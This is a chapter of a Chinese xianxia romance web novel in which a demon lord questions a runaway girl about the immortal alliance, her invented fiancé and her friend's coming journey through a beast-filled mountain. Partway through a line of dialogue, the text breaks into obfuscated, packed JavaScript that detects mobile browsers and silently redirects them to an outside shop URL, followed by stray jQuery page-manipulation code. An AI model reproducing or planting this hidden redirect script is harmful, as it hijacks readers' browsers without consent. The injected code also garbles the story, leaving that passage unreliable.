身心的燥意尽数消散,柳清越整整心神,语气与寻常无异,“谁与你说是这件事?”

    “那是什么事呢?”慕北音一手扶着桌子腿儿,慢悠悠起身。

    这让他如何说?柳清越调开视线,装作若无其事地继续他的话题:“本座问你,你对仙盟了解多少?”

    慕北音满心满眼都是仙盟!仙盟!绞尽脑汁想要寻个由头搪塞过去,奈何人一紧张,脑子就不顶用,实在琢磨不出合理的说辞。

    “骗子。”慕北音又急又恼,一不留神,将心里话道出口来,“说话不作数的骗子。”

    柳清越稍一愣怔,给她这副滑稽样逗笑了,指节用力一叩桌沿,发出“咚”一声闷响,遂板起脸来瞧她。

    “你说谁是骗子?”

    慕北音正全神贯注想辙呢,叫他突然闹出的动静吓得一哆嗦,拔高音量嚷道:“你啊!说好了今晚的事当作没发生过,又出尔反尔。”

    听到这里,柳清越脸上有些挂不住了,堂堂魔尊,百年前杀得修真界惶惶不可终日的魔尊,竟是给一名相识不过数日的少女碰出反应了。

    更难为情的是,对方甚是无情,碰过就忘,全然不顾及他的感受。心中不是滋味,神色肃穆地说:“此事稍后再议,你把仙盟的事和本座解释清楚了。”

    慕北音登时泄气了,一屁股坐在圈椅里,怏怏道:“我娘亲是仙盟盟——”立马捂住嘴,瞪圆眼睛瞧柳清越,见他眼睫微敛,若有所思,遂悄然改口道,“她是仙盟里的核心成员,非常厉害那种。”

    这样说总不至于暴露身份吧。

    仙盟乃修真界四大家族领头组织的仙门联盟,其核心成员好几十个呢,大魔头一定猜不到她的真实身份。

    思及此,满意地点点头,接着往下编,“仙盟你知道吧,就是修士聚在一起商议宗门事宜,……”

    听她越说越不着调,柳清越强忍笑意,及时打断她,说知道,“没承想你对仙盟之事颇有见解。”

    “是啊是啊!”慕北音得意地眨了眨眼,暗暗为自己编瞎话的能力鼓掌。后知后觉意识到了什么,腾地从圈椅里弹起,指尖颤巍巍指着柳清越,“大魔头,你怎么知道我出身修真世家?”

    她没有说漏嘴吧。

    柳清越失笑,“本座要调查一个人的来历,岂不是易如反掌。”

    “你竟然偷偷调查我!”慕北音愤愤然,“你怎么能这样呢?有什么想知道的直接问我就好啦。”

    柳清越:“你无缘无故出现在魔族的地盘,说有神仙姐姐相助,本座不该怀疑你的身份吗?”

    他说的似乎有点道理呢,慕北音摸了摸鼻尖,“那亦不能偷偷调查啊,我以为你很信任我呢。”

    “不要扯远了。”柳清越及时将跑偏的话题往回拽,“你母亲是仙盟成员,那你未婚夫婿又是谁?”

    “啊?”慕北音懵懵懵,她何时又多出来一位未婚夫婿?

    “未婚夫婿?”突然想起了什么,“未婚夫婿啊!他亦是仙盟成员,他……”救命!编不下去了,她去哪里找一个凶神恶煞的恶霸来做她的未婚夫婿。

    当初胡言乱语不过是为了蒙骗大魔头,添油加醋把不存在的未婚夫婿描绘得十恶不赦,好叫大魔头心生怜悯,同意她留在魔宫。

    未婚夫婿的原型还是大魔头本人呢。

    “可以不提他吗?”她可怜兮兮地望着柳清越,“一提起他我就害怕,晚上定是要做噩梦的。”

    不容柳清越回应,慕北音自顾自往他近前凑了凑,附在他耳畔低语道:“大魔头,你那里有没有好受一些?”

    “嗯?”话题跳转得太快,以致于柳清越未意识到其生硬程度,顺口应道,“哪里?”

    耳根莫名发热,慕北音视线游移,支吾道:“就——那里啊!”

    那里?

    柳清越疑惑更甚,见慕北音朝他挤眉弄眼,一副欲说还休的羞赧模样,登时回过味来,心跳无端加快,语气硬邦邦道:“不该问的别问。”

    慕北音高高扬起眉头,“那怎么行呢,我不小心弄疼你了,理应关心一下。”

    柳清越咬咬牙,“不需要。”

    慕北音歪了歪头,“朋友之间不应当相互关心吗?”

    “朋友?”柳清越禁不住笑出声来,“你我相识不过数日,何时成为朋友了?”

    慕北音眨眼,“朋友是用时间长短来衡量的吗?”

    柳清越张了张口,却未接茬,他没有朋友,在这件事上并无发言权。

    见他不言语,慕北音接着道:“你帮我击败妖兽,看我受委屈帮我说话,我都记着呢。”

    呼吸滞了一瞬,柳清越垂眸瞧她,思绪纷乱。数百年来,还是头一回有人这样坦诚地和他说话,将他顺手做的一件小事记在心里。

    忽又想起老巫医的话——他在慕北音近前身心放松,不设防,长此以往,于缓解体内的寒冰蛊有益。柳清越原本并不认同,但……

    “你快告诉我吧,那里还难受吗?”

    慕北音急切的声音传来,将他的思绪打断,刚滋长出的一点触动逐渐消散。

    柳清越耳根飞红,咬牙切齿道:“手劲那么大,难受不难受,你心里没数?”

    “我咋知道呢?”慕北音茫然眨眼,“要不,你让我瞧瞧。”

    “什么?!”柳清越险些咬到舌头,“你认为像话吗?”

    慕北音设想一下那个画面,耳朵隐隐发烫,只好作罢,“那你且忍一忍吧,那股劲儿忍过去就好了。”

    柳清越冷笑一声,“你知道的不少。”

    “我看过许多话本。”慕北音东瞅瞅,西望望,就是不看柳清越的眼睛。

    “把看话本的时间用在修炼上,你亦不至于只会使蛮力。”

    “使蛮力不好吗?别人想使还没力气呢。”慕北音闻言好生不乐意,倒像是使蛮力低人一等了般。

    “而且,我从话本上面学了不少呢,譬如说朋友之间应当真诚相待,礼尚往来……”

    “行了。”柳清越忽而打断她,决意现场演绎一番何为礼尚往来。

    “既然你拿本座当朋友,我不妨告诉你一件事。”

    “什么事?”慕北音瞪圆双眼,淡紫色的眼瞳变得明亮而有神。

    柳清越似笑非笑道:“你的松云哥哥,若是想到魔宫来,必会经过一座古老神山——浮玉山。浮玉山中多妖兽,更有罕见异兽出没,能顺利穿过浮玉山者,寥寥无几。”

    “啊?”慕北音眼睫眨亦不眨地盯着他,“我来的时候怎么没经过这么个地方呢?”

    “你怎么来的?”柳清越满脸黑线。

    “哈!”慕北音立时眉欢眼笑,“我有高人相助。”

    提起这位高人,柳清越可就有话要问了。

    “用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753970|209481||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    缩地术帮你的人,可曾说过什么?”

    慕北音一手托腮,仔细回忆了下,“除了让我唤她白姐姐,还说过一句话。”

    “什么话?”柳清越直直注视她,生怕遗漏任何细节。

    “她说,到了魔族我就安全了。”

    “没别的了?”柳清越拧眉。

    慕北音说没了,“我听了这话,觉得她和我真是心有灵犀啊!家里人定是想不到我会跑到魔族来,即便知道了,亦不敢轻举妄动。”说罢乐呵呵笑出声来,水晶般透亮的眼瞳忽闪忽闪,直直望向柳清越,“我聪明吧。”

    骤然与她目光交汇,柳清越呼吸微顿,没来由一阵心慌意乱。整整心绪,遂不着痕迹调开视线,回想起对方近日来的言行举止,实在与“聪明”二字不沾边,随即没忍住笑出声来。

    “聪明。”

    慕北音一门心思扑在南松云身上,并未觉出他话里的揶揄,兀自打听道:“浮玉山里有什么异兽呢,危险吗?”

    “应有尽有。”柳清越存了恐吓她的心思,“不乏食梦貘,与魅魔这类邪门生物,遇上后不死亦要脱层皮。”

    “那怎么办啊?”慕北音有点担心,“有什么办法可以帮他吗?”

    柳清越微微眯起眼瞧她,“你想帮他?”

    “我们自小一起长大,我不愿他受伤。”慕北音如实道。

    柳清越拉长尾音“哦”了声,“即便他是来捉你回去嫁人的?”

    慕北音如梦初醒,一听南松云有危险,她只顾担心了,全然忘记对方找来魔界的目的。

    但见死不救不是她的作风,哪怕是个陌生人,她亦不忍心啊,遑论如兄长般待她的南松云。

    思来想去,喃喃道:“我想要提醒他浮玉山上有危险。”

    “胆敢只身闯魔族,他必然知晓其中厉害,你何须多此一举。”略忖了下,柳清越接着道,“倘或不幸碰上魅魔与食梦貘,若自身无力脱身,旁人亦无计可施。”

    慕北音歪了歪头,不大能理解他话里的意思。

    柳清越耐心解释道:“食梦貘与魅魔不会直接攻击人,而是构建梦境与幻境,叫被困之人分不清真实与虚幻,频繁承受心理折磨。”

    “这样啊!”慕北音听明白了,“心理受过伤害的人很难打败这两类异兽,对么?”

    心尖无端像是给棘刺扎了下,柳清越蹙眉,半晌方应道:“是这样。但世事难料,不亲身经历,谁又知道会遇上什么。”

    “那就不用担心啦。”慕北音长舒口气,“松云哥哥伴随着夸赞与疼爱长大,是长辈们口中别人家的孩子,从未受过伤害。”

    柳清越闻言眉头蹙得更深。

    原来这世间不乏疼爱孩子的父母,只他不够幸运罢了。

    思绪沉到久远的回忆里,眼前隐隐浮现老巫医的预言,父亲的狠戾,两位兄长得逞的笑容,长姐失望离开的背影。

    以及,母亲惧怕的眼神。

    “大魔头!大魔头!”肩头忽而传来一阵灼人的热意,柳清越回神,只见慕北音双手搭在他肩上,正用劲摇晃他,恍若要将他的烦恼通通晃掉。

    “何事?”嗓音略显嘶哑,柳清越醒了醒神,这才看清慕北音满脸焦灼的神情。

    “你怎么哭了啊?”慕北音用指腹轻抚了下他眼角,“那里很疼吗?”

    柳清越摸了把脸,果真沾了满手湿意。